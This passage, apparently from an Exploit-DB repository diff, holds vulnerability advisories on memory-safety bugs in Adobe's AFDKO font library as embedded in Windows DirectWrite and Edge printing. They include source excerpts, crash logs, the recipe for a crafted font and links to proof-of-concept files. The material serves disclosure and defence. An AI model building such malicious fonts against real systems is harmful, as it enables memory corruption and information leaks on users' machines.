00000131`256e9cf0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
00000131`256e9d00 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
00000131`256e9d10 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
|
||||
0:038> k
|
||||
# Child-SP RetAddr Call Site
|
||||
00 00000008`c4d5b550 00007ffb`29e7219d DWrite!fillSet+0x37
|
||||
01 00000008`c4d5b5c0 00007ffb`29e62314 DWrite!cfwEndSet+0x51
|
||||
02 00000008`c4d5b600 00007ffb`29df157a DWrite!AdobeCFF2Snapshot+0x23c
|
||||
03 00000008`c4d5bb00 00007ffb`29df0729 DWrite!FontInstancer::InstanceCffTable+0x212
|
||||
04 00000008`c4d5bce0 00007ffb`29df039a DWrite!FontInstancer::CreateInstanceInternal+0x249
|
||||
05 00000008`c4d5bf00 00007ffb`29dd5a4e DWrite!FontInstancer::CreateInstance+0x192
|
||||
06 00000008`c4d5c260 00007ffb`34eb61ab DWrite!DWriteFontFace::CreateInstancedStream+0x9e
|
||||
07 00000008`c4d5c2f0 00007ffb`34ea9148 d2d1!dxc::TextConvertor::InstanceFontResources+0x19f
|
||||
08 00000008`c4d5c410 00007ffb`0f8b50f4 d2d1!dxc::CXpsPrintControl::Close+0xc8
|
||||
09 00000008`c4d5c460 00007ffb`0f88fcb0 edgehtml!CDXPrintControl::Close+0x44
|
||||
0a 00000008`c4d5c4b0 00007ffb`0f8947ad edgehtml!CTemplatePrinter::EndPrintD2D+0x5c
|
||||
0b 00000008`c4d5c4e0 00007ffb`0f76b515 edgehtml!CPrintManagerTemplatePrinter::endPrint+0x2d
|
||||
0c 00000008`c4d5c510 00007ffb`0f3c9175 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Trampoline_endPrint+0x45
|
||||
0d 00000008`c4d5c550 00007ffa`f02e68f1 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Profiler_endPrint+0x25
|
||||
[...]
|
||||
--- cut ---
|
||||
|
||||
-----=====[ References ]=====-----
|
||||
|
||||
[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
|
||||
[2] https://github.com/adobe-type-tools/afdko
|
||||
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
|
||||
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47098.zip
|
165
exploits/windows/dos/47099.txt
Normal file
165
exploits/windows/dos/47099.txt
Normal file
|
@ -0,0 +1,165 @@
|
|||
-----=====[ Background ]=====-----
|
||||
|
||||
AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.
|
||||
|
||||
At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.
|
||||
|
||||
We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.
|
||||
|
||||
One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser.
|
||||
|
||||
-----=====[ Description ]=====-----
|
||||
|
||||
The handleBlend() function in afdko/c/public/lib/source/cffread/cffread.c is called when a cff_blend operator is encountered while parsing a CFF DICT object in readDICT():
|
||||
|
||||
--- cut ---
|
||||
1466 case cff_blend:
|
||||
1467 if (h->stack.numRegions == 0) {
|
||||
1468 /* priv->vsindex is set to 0 by default; it is otherwise only if the vsindex operator is used */
|
||||
1469 setNumMasters(h, priv->vsindex);
|
||||
1470 }
|
||||
1471 handleBlend(h);
|
||||
1472 continue;
|
||||
--- cut ---
|
||||
|
||||
The prologue of handleBlend() is as follows:
|
||||
|
||||
--- cut ---
|
||||
757 static void handleBlend(cfrCtx h) {
|
||||
[...]
|
||||
776
|
||||
777 int numBlends = INDEX_INT(h->stack.cnt - 1);
|
||||
778 stack_elem *firstItem;
|
||||
779 int i = 0;
|
||||
780 int numDeltaBlends = numBlends * h->stack.numRegions;
|
||||
781 int firstItemIndex;
|
||||
782 h->flags |= CFR_SEEN_BLEND;
|
||||
783
|
||||
784 h->stack.cnt--;
|
||||
785
|
||||
786 if (numBlends < 0 || numDeltaBlends < 0)
|
||||
787 fatal(h, cfrErrStackUnderflow);
|
||||
788 CHKUFLOW(numBlends + numDeltaBlends);
|
||||
789 firstItemIndex = (h->stack.cnt - (numBlends + numDeltaBlends));
|
||||
790 firstItem = &(h->stack.array[firstItemIndex]);
|
||||
791
|
||||
--- cut ---
|
||||
|
||||
Here is what happens in the code: the 32-bit numBlends variable is initialized with a fully controlled value from the top of the interpreter stack. The numDeltaBlends variable is calculated using numBlends and h->stack.numRegions, which is a typically small (theoretically up to 65535) but also controlled value. The code then makes sure that neither numBlends or numDeltaBlends are negative (line 786), and that there are at least numBlends+numDeltaBlends values on the stack (line 788). If these conditions are met, the function proceeds to writing to h->stack.array[h->stack.cnt - (numBlends + numDeltaBlends)] and further elements assuming the access is safe.
|
||||
|
||||
However, the sanity checks in lines 786-788 are not sufficient, as they miss one corner case - when both numBlends and numDeltaBlends are positive, but the numBlends + numDeltaBlends sum is negative due to signed 32-bit integer arithmetic. For example, if:
|
||||
|
||||
- numBlends is 0x31313131
|
||||
- h->stack.numRegions is 2
|
||||
|
||||
then:
|
||||
|
||||
- numDeltaBlends is 0x62626262
|
||||
- numBlends + numDeltaBlends is 0x93939393
|
||||
|
||||
The above values can be set by a specially crafted font and they meet the conditions verified by handleBlend(), yet the index of -0x93939393 (which translates to 1819044973) is largely out of bounds. This may be used to overwrite memory both inside of the stack-based cfrCtx object, and outside of it.
|
||||
|
||||
-----=====[ Proof of Concept ]=====-----
|
||||
|
||||
The proof of concept file contains a Private DICT beginning with the following two operators:
|
||||
|
||||
1. cff_longint(0x31313131)
|
||||
2. cff_blend
|
||||
|
||||
This causes the above signedness issue to occur, leading to an attempt to write to a stack element at h->stack.array[1819044973].
|
||||
|
||||
The font is also specially crafted to parse correctly with DirectWrite but trigger the bug in AFDKO. The original CFF2 table was left untouched, and a second copy of it with the modified DICT was inserted at the end of the font with the tag "CFF ". This way, DirectWrite successfully loads the legitimate variable font, and AFDKO processes the modified version as the CFF table takes precedence over CFF2 due to the logic implemented in srcOpen() in afdko/c/public/lib/source/cffread/cffread.c.
|
||||
|
||||
-----=====[ Crash logs ]=====-----
|
||||
|
||||
A 64-bit build of "tx" started with ./tx -cff poc.otf crashes with a SIGSEGV while trying to write to an unmapped memory address:
|
||||
|
||||
--- cut ---
|
||||
Program received signal SIGSEGV, Segmentation fault.
|
||||
0x000000000041670e in handleBlend (h=0x7103a0) at ../../../../../source/cffread/cffread.c:811
|
||||
811 firstItem->numBlends = (unsigned short)numBlends;
|
||||
|
||||
(gdb) print numBlends
|
||||
$1 = 825307441
|
||||
(gdb) print numDeltaBlends
|
||||
$2 = 1650614882
|
||||
(gdb) print numBlends+numDeltaBlends
|
||||
$3 = -1819044973
|
||||
(gdb) print firstItemIndex
|
||||
$5 = 1819044973
|
||||
|
||||
(gdb) x/10i $rip
|
||||
=> 0x41670e <handleBlend+878>: mov %cx,0x8(%rdx)
|
||||
0x416712 <handleBlend+882>: mov -0x8(%rbp),%rdi
|
||||
0x416716 <handleBlend+886>: movslq -0x20(%rbp),%rdx
|
||||
0x41671a <handleBlend+890>: shl $0x2,%rdx
|
||||
0x41671e <handleBlend+894>: mov %rdx,%rsi
|
||||
0x416721 <handleBlend+897>: callq 0x416880 <memNew>
|
||||
0x416726 <handleBlend+902>: mov -0x18(%rbp),%rdx
|
||||
0x41672a <handleBlend+906>: mov %rax,0x10(%rdx)
|
||||
0x41672e <handleBlend+910>: mov -0x1c(%rbp),%eax
|
||||
0x416731 <handleBlend+913>: cmp -0x20(%rbp),%eax
|
||||
|
||||
(gdb) info reg $rdx
|
||||
rdx 0xa2a9b3280 43664487040
|
||||
(gdb) x/10gx $rdx
|
||||
0xa2a9b3280: Cannot access memory at address 0xa2a9b3280
|
||||
|
||||
(gdb) bt
|
||||
#0 0x000000000041670e in handleBlend (h=0x7103a0) at ../../../../../source/cffread/cffread.c:811
|
||||
#1 0x0000000000411318 in readDICT (h=0x7103a0, region=0x7156d8, topdict=0) at ../../../../../source/cffread/cffread.c:1471
|
||||
#2 0x000000000041241f in readPrivate (h=0x7103a0, iFD=0) at ../../../../../source/cffread/cffread.c:1637
|
||||
#3 0x0000000000411a17 in readFDArray (h=0x7103a0) at ../../../../../source/cffread/cffread.c:1711
|
||||
#4 0x000000000040dc5c in cfrBegFont (h=0x7103a0, flags=4, origin=0, ttcIndex=0, top=0x6f6048, UDV=0x0) at ../../../../../source/cffread/cffread.c:2761
|
||||
#5 0x0000000000405e4e in cfrReadFont (h=0x6f6010, origin=0, ttcIndex=0) at ../../../../source/tx.c:137
|
||||
#6 0x0000000000405c9e in doFile (h=0x6f6010, srcname=0x7fffffffdf1b "poc.otf") at ../../../../source/tx.c:429
|
||||
#7 0x000000000040532e in doSingleFileSet (h=0x6f6010, srcname=0x7fffffffdf1b "poc.otf")
|
||||
at ../../../../source/tx.c:488
|
||||
#8 0x0000000000402f59 in parseArgs (h=0x6f6010, argc=2, argv=0x7fffffffdc20) at ../../../../source/tx.c:558
|
||||
#9 0x0000000000401df2 in main (argc=2, argv=0x7fffffffdc20) at ../../../../source/tx.c:1631
|
||||
(gdb)
|
||||
--- cut ---
|
||||
|
||||
A similar Microsoft Edge renderer process crash (but in a slightly different code path) is also shown below:
|
||||
|
||||
--- cut ---
|
||||
(50d4.f24): Access violation - code c0000005 (first chance)
|
||||
First chance exceptions are reported before any exception handling.
|
||||
This exception may be expected and handled.
|
||||
DWrite!handleBlend+0xc1:
|
||||
00007ffb`29e68f5d 4439a4cb28030000 cmp dword ptr [rbx+rcx*8+328h],r12d ds:0000016e`de978c30=????????
|
||||
0:039> ? rbx
|
||||
Evaluate expression: 1532035423952 = 00000164`b46d5ed0
|
||||
0:039> ? rcx
|
||||
Evaluate expression: 5457134919 = 00000001`45454547
|
||||
0:039> k
|
||||
# Child-SP RetAddr Call Site
|
||||
00 00000021`5eeea990 00007ffb`29e6b2e3 DWrite!handleBlend+0xc1
|
||||
01 00000021`5eeea9d0 00007ffb`29e6c41e DWrite!readDICT+0xf67
|
||||
02 00000021`5eeeaa30 00007ffb`29e6bc33 DWrite!readPrivate+0x3a
|
||||
03 00000021`5eeeaa60 00007ffb`29e6ddf4 DWrite!readFDArray+0xcb
|
||||
04 00000021`5eeeaa90 00007ffb`29e621e7 DWrite!cfrBegFont+0x548
|
||||
05 00000021`5eeeb320 00007ffb`29df157a DWrite!AdobeCFF2Snapshot+0x10f
|
||||
06 00000021`5eeeb820 00007ffb`29df0729 DWrite!FontInstancer::InstanceCffTable+0x212
|
||||
07 00000021`5eeeba00 00007ffb`29df039a DWrite!FontInstancer::CreateInstanceInternal+0x249
|
||||
08 00000021`5eeebc20 00007ffb`29dd5a4e DWrite!FontInstancer::CreateInstance+0x192
|
||||
09 00000021`5eeebf80 00007ffb`34eb61ab DWrite!DWriteFontFace::CreateInstancedStream+0x9e
|
||||
0a 00000021`5eeec010 00007ffb`34ea9148 d2d1!dxc::TextConvertor::InstanceFontResources+0x19f
|
||||
0b 00000021`5eeec130 00007ffb`0f8b50f4 d2d1!dxc::CXpsPrintControl::Close+0xc8
|
||||
0c 00000021`5eeec180 00007ffb`0f88fcb0 edgehtml!CDXPrintControl::Close+0x44
|
||||
0d 00000021`5eeec1d0 00007ffb`0f8947ad edgehtml!CTemplatePrinter::EndPrintD2D+0x5c
|
||||
0e 00000021`5eeec200 00007ffb`0f76b515 edgehtml!CPrintManagerTemplatePrinter::endPrint+0x2d
|
||||
0f 00000021`5eeec230 00007ffb`0f3c9175 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Trampoline_endPrint+0x45
|
||||
10 00000021`5eeec270 00007ffa`f02e68f1 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Profiler_endPrint+0x25
|
||||
--- cut ---
|
||||
|
||||
-----=====[ References ]=====-----
|
||||
|
||||
[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
|
||||
[2] https://github.com/adobe-type-tools/afdko
|
||||
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
|
||||
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47099.zip
|
186
exploits/windows/dos/47100.txt
Normal file
186
exploits/windows/dos/47100.txt
Normal file
|
@ -0,0 +1,186 @@
|
|||
-----=====[ Background ]=====-----
|
||||
|
||||
AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.
|
||||
|
||||
At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.
|
||||
|
||||
We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.
|
||||
|
||||
One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser.
|
||||
|
||||
-----=====[ Description ]=====-----
|
||||
|
||||
While fuzzing the standard "tx" AFDKO utility using a "tx -cff <input file> /dev/null" command, we have encountered multiple crashes in the CFF Writer (cfw) component of the FDK. These crashes are triggered in the cfwSindexGetString() function in the afdko/c/public/lib/source/cffwrite/cffwrite_sindex.c file:
|
||||
|
||||
--- cut ---
|
||||
148 /* Get string from SRI. */
|
||||
149 char *cfwSindexGetString(cfwCtx g, SRI index) {
|
||||
150 sindexCtx h = g->ctx.sindex;
|
||||
151 if (index < STD_STR_CNT) {
|
||||
152 return sid2std[index];
|
||||
153 } else {
|
||||
154 return &h->strings.array[h->custom.array[index - STD_STR_CNT].iString];
|
||||
155 }
|
||||
156 }
|
||||
--- cut ---
|
||||
|
||||
In all cases, the exception is thrown in line 154, and is caused by an out-of-bounds access to h->custom.array[] due to the "index" argument being equal to 65535 (0xffff). For some reproducers, the h->custom dynamic array is correctly initialized and h->custom.array points into a heap allocation; in other cases h->custom is an empty array and h->custom.array has a near-NULL value. Even in the latter case, accessing h->custom.array[65144] translates to an address around 0x7f4c4 (on x86) or 0xfe884 (on x64), both of which can be mapped on many operating systems.
|
||||
|
||||
The cfwSindexGetString() function is called from fillNameINDEX() in cffwrite/cffwrite.c:
|
||||
|
||||
--- cut ---
|
||||
845 for (i = 0; i < h->FontSet.cnt; i++) {
|
||||
846 cff_Font *font = &h->FontSet.array[i];
|
||||
847 if (font->FDArray.cnt > 0) {
|
||||
848 char *name =
|
||||
849 cfwSindexGetString(h->g, (SRI)((font->flags & FONT_CID) ? font->top.cid.CIDFontName.impl : font->FDArray.array[0].dict.FontName.impl));
|
||||
850 /* 64-bit warning fixed by cast here */
|
||||
851 h->name.datasize += (long)strlen(name);
|
||||
852 }
|
||||
853 }
|
||||
--- cut ---
|
||||
|
||||
We can see that the "index" argument is passed from font->top.cid.CIDFontName.impl or font->FDArray.array[0].dict.FontName.impl. Both CIDFontName and FontName objects are abfString structures, defined in afdko/c/public/lib/api/absfont.h:
|
||||
|
||||
--- cut ---
|
||||
44 typedef struct /* String */
|
||||
45 {
|
||||
46 char *ptr; /* ABF_UNSET_PTR */
|
||||
47 long impl; /* ABF_UNSET_INT */
|
||||
48 } abfString;
|
||||
--- cut ---
|
||||
|
||||
The "impl" field is used to store a SRI-typed value, which takes the default value of SRI_UNDEF if it is uninitialized or invalid:
|
||||
|
||||
--- cut ---
|
||||
22 #define SRI_UNDEF 0xffff /* SRI of undefined string */
|
||||
--- cut ---
|
||||
|
||||
This indicates that the font name-related structures are not properly initialized before being used to generate the output CFF font. As the string returned by cfwSindexGetString() is later saved to the output file, this out-of-bounds read could lead to the disclosure of the AFDKO client process memory.
|
||||
|
||||
-----=====[ Proof of Concept ]=====-----
|
||||
|
||||
There are two proof of concept files, poc1.otf and poc2.otf. The first one triggers an access to h->custom.array[65144] for an empty h->custom array, while the second one results in a similar OOB read but with a non-empty h->custom object.
|
||||
|
||||
The fonts are specially crafted to parse correctly with DirectWrite but trigger the bug in AFDKO. The original CFF2 table was left untouched, and a second copy of it with the modified DICT was inserted at the end of the fonts with the tag "CFF ". This way, DirectWrite successfully loads the legitimate variable font, and AFDKO processes the modified version as the CFF table takes precedence over CFF2 due to the logic implemented in srcOpen() in afdko/c/public/lib/source/cffread/cffread.c.
|
||||
|
||||
-----=====[ Crash logs ]=====-----
|
||||
|
||||
A 64-bit build of "tx" compiled with AddressSanitizer, started with ./tx -cff poc2.otf prints out the following report:
|
||||
|
||||
--- cut ---
|
||||
=================================================================
|
||||
==253002==ERROR: AddressSanitizer: SEGV on unknown address 0x6210000ffc80 (pc 0x00000058aa1a bp 0x7fffd5742e70 sp 0x7fffd5742e00 T0)
|
||||
==253002==The signal is caused by a READ memory access.
|
||||
#0 0x58aa19 in cfwSindexGetString afdko/c/public/lib/source/cffwrite/cffwrite_sindex.c:154:17
|
||||
#1 0x56fe6c in fillNameINDEX afdko/c/public/lib/source/cffwrite/cffwrite.c:849:17
|
||||
#2 0x56d37f in initSetSizes afdko/c/public/lib/source/cffwrite/cffwrite.c:896:24
|
||||
#3 0x567320 in fillSet afdko/c/public/lib/source/cffwrite/cffwrite.c:1085:5
|
||||
#4 0x5645b5 in cfwEndSet afdko/c/public/lib/source/cffwrite/cffwrite.c:2128:5
|
||||
#5 0x6ebd6d in cff_EndSet afdko/c/public/lib/source/tx_shared/tx_shared.c:1076:9
|
||||
#6 0x506b6c in doSingleFileSet afdko/c/tx/source/tx.c:489:5
|
||||
#7 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17
|
||||
#8 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9
|
||||
#9 0x7f19da4782b0 in __libc_start_main
|
||||
#10 0x41e5b9 in _start
|
||||
|
||||
AddressSanitizer can not provide additional info.
|
||||
SUMMARY: AddressSanitizer: SEGV afdko/c/public/lib/source/cffwrite/cffwrite_sindex.c:154:17 in cfwSindexGetString
|
||||
==253002==ABORTING
|
||||
--- cut ---
|
||||
|
||||
A non-instrumented version of "tx" crashes with a SIGSEGV when it reaches an unmapped memory area:
|
||||
|
||||
--- cut ---
|
||||
Program received signal SIGSEGV, Segmentation fault.
|
||||
0x0000000000424a4c in cfwSindexGetString (g=0x6fd890, index=65535) at ../../../../../source/cffwrite/cffwrite_sindex.c:154
|
||||
154 return &h->strings.array[h->custom.array[index - STD_STR_CNT].iString];
|
||||
|
||||
(gdb) print index
|
||||
$1 = 65535
|
||||
(gdb) print h->custom
|
||||
$2 = {ctx = 0x6fdb90, array = 0x72a580, cnt = 1, size = 260, incr = 1000, func = 0x0}
|
||||
|
||||
(gdb) x/10i $rip
|
||||
=> 0x424a4c <cfwSindexGetString+108>: add (%rcx),%rax
|
||||
0x424a4f <cfwSindexGetString+111>: mov %rax,-0x8(%rbp)
|
||||
0x424a53 <cfwSindexGetString+115>: mov -0x8(%rbp),%rax
|
||||
0x424a57 <cfwSindexGetString+119>: pop %rbp
|
||||
0x424a58 <cfwSindexGetString+120>: retq
|
||||
0x424a59: nopl 0x0(%rax)
|
||||
0x424a60 <cfwSindexAssignSID>: push %rbp
|
||||
0x424a61 <cfwSindexAssignSID+1>: mov %rsp,%rbp
|
||||
0x424a64 <cfwSindexAssignSID+4>: mov %si,%ax
|
||||
0x424a67 <cfwSindexAssignSID+7>: mov %rdi,-0x10(%rbp)
|
||||
(gdb) info reg $rcx
|
||||
rcx 0x828d00 8555776
|
||||
(gdb) x/10gx $rcx
|
||||
0x828d00: Cannot access memory at address 0x828d00
|
||||
|
||||
(gdb) bt
|
||||
#0 0x0000000000424a4c in cfwSindexGetString (g=0x6fd890, index=65535) at ../../../../../source/cffwrite/cffwrite_sindex.c:154
|
||||
#1 0x000000000041de69 in fillNameINDEX (h=0x6fdbd0) at ../../../../../source/cffwrite/cffwrite.c:849
|
||||
#2 0x000000000041d3f0 in initSetSizes (h=0x6fdbd0) at ../../../../../source/cffwrite/cffwrite.c:896
|
||||
#3 0x000000000041b8be in fillSet (h=0x6fdbd0) at ../../../../../source/cffwrite/cffwrite.c:1085
|
||||
#4 0x000000000041ae7c in cfwEndSet (g=0x6fd890) at ../../../../../source/cffwrite/cffwrite.c:2128
|
||||
#5 0x000000000047a79c in cff_EndSet (h=0x6f6010) at ../../../../../source/tx_shared/tx_shared.c:1076
|
||||
#6 0x000000000040533f in doSingleFileSet (h=0x6f6010, srcname=0x7fffffffdf1a "poc2.otf")
|
||||
at ../../../../source/tx.c:489
|
||||
#7 0x0000000000402f59 in parseArgs (h=0x6f6010, argc=2, argv=0x7fffffffdc20) at ../../../../source/tx.c:558
|
||||
#8 0x0000000000401df2 in main (argc=2, argv=0x7fffffffdc20) at ../../../../source/tx.c:1631
|
||||
(gdb)
|
||||
--- cut ---
|
||||
|
||||
A similar Microsoft Edge renderer process crash (but in a slightly different code path) is also shown below:
|
||||
|
||||
--- cut ---
|
||||
(61c8.53dc): Access violation - code c0000005 (first chance)
|
||||
First chance exceptions are reported before any exception handling.
|
||||
This exception may be expected and handled.
|
||||
DWrite!cfwSindexGetString+0x27:
|
||||
00007ffb`29e7a51b 486384c8c8f3ffff movsxd rax,dword ptr [rax+rcx*8-0C38h] ds:000001eb`f4260d20=????????
|
||||
0:039> ? rax
|
||||
Evaluate expression: 2112924555616 = 000001eb`f41e1960
|
||||
0:039> ? rcx
|
||||
Evaluate expression: 65535 = 00000000`0000ffff
|
||||
0:039> db rax+rcx*8-c38
|
||||
000001eb`f4260d20 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
|
||||
000001eb`f4260d30 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
|
||||
000001eb`f4260d40 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
|
||||
000001eb`f4260d50 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
|
||||
000001eb`f4260d60 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
|
||||
000001eb`f4260d70 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
|
||||
000001eb`f4260d80 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
|
||||
000001eb`f4260d90 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
|
||||
0:039> k
|
||||
# Child-SP RetAddr Call Site
|
||||
00 00000062`d53eb1d8 00007ffb`29e700d3 DWrite!cfwSindexGetString+0x27
|
||||
01 00000062`d53eb1e0 00007ffb`29e707d9 DWrite!fillNameINDEX+0x4b
|
||||
02 00000062`d53eb210 00007ffb`29e702cf DWrite!initSetSizes+0x49
|
||||
03 00000062`d53eb240 00007ffb`29e7219d DWrite!fillSet+0x163
|
||||
04 00000062`d53eb2b0 00007ffb`29e62314 DWrite!cfwEndSet+0x51
|
||||
05 00000062`d53eb2f0 00007ffb`29df157a DWrite!AdobeCFF2Snapshot+0x23c
|
||||
06 00000062`d53eb7f0 00007ffb`29df0729 DWrite!FontInstancer::InstanceCffTable+0x212
|
||||
07 00000062`d53eb9d0 00007ffb`29df039a DWrite!FontInstancer::CreateInstanceInternal+0x249
|
||||
08 00000062`d53ebbf0 00007ffb`29dd5a4e DWrite!FontInstancer::CreateInstance+0x192
|
||||
09 00000062`d53ebf50 00007ffb`34eb61ab DWrite!DWriteFontFace::CreateInstancedStream+0x9e
|
||||
0a 00000062`d53ebfe0 00007ffb`34ea9148 d2d1!dxc::TextConvertor::InstanceFontResources+0x19f
|
||||
0b 00000062`d53ec100 00007ffb`0f8b50f4 d2d1!dxc::CXpsPrintControl::Close+0xc8
|
||||
0c 00000062`d53ec150 00007ffb`0f88fcb0 edgehtml!CDXPrintControl::Close+0x44
|
||||
0d 00000062`d53ec1a0 00007ffb`0f8947ad edgehtml!CTemplatePrinter::EndPrintD2D+0x5c
|
||||
0e 00000062`d53ec1d0 00007ffb`0f76b515 edgehtml!CPrintManagerTemplatePrinter::endPrint+0x2d
|
||||
0f 00000062`d53ec200 00007ffb`0f3c9175 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Trampoline_endPrint+0x45
|
||||
10 00000062`d53ec240 00007ffa`f02e68f1 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Profiler_endPrint+0x25
|
||||
[...]
|
||||
--- cut ---
|
||||
|
||||
-----=====[ References ]=====-----
|
||||
|
||||
[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
|
||||
[2] https://github.com/adobe-type-tools/afdko
|
||||
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
|
||||
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47100.zip
|
376
exploits/windows/dos/47101.txt
Normal file
376
exploits/windows/dos/47101.txt
Normal file
|
@ -0,0 +1,376 @@
|
|||
-----=====[ Background ]=====-----
|
||||
|
||||
AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.
|
||||
|
||||
At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.
|
||||
|
||||
We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.
|
||||
|
||||
One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser.
|
||||
|
||||
-----=====[ Description ]=====-----
|
||||
|
||||
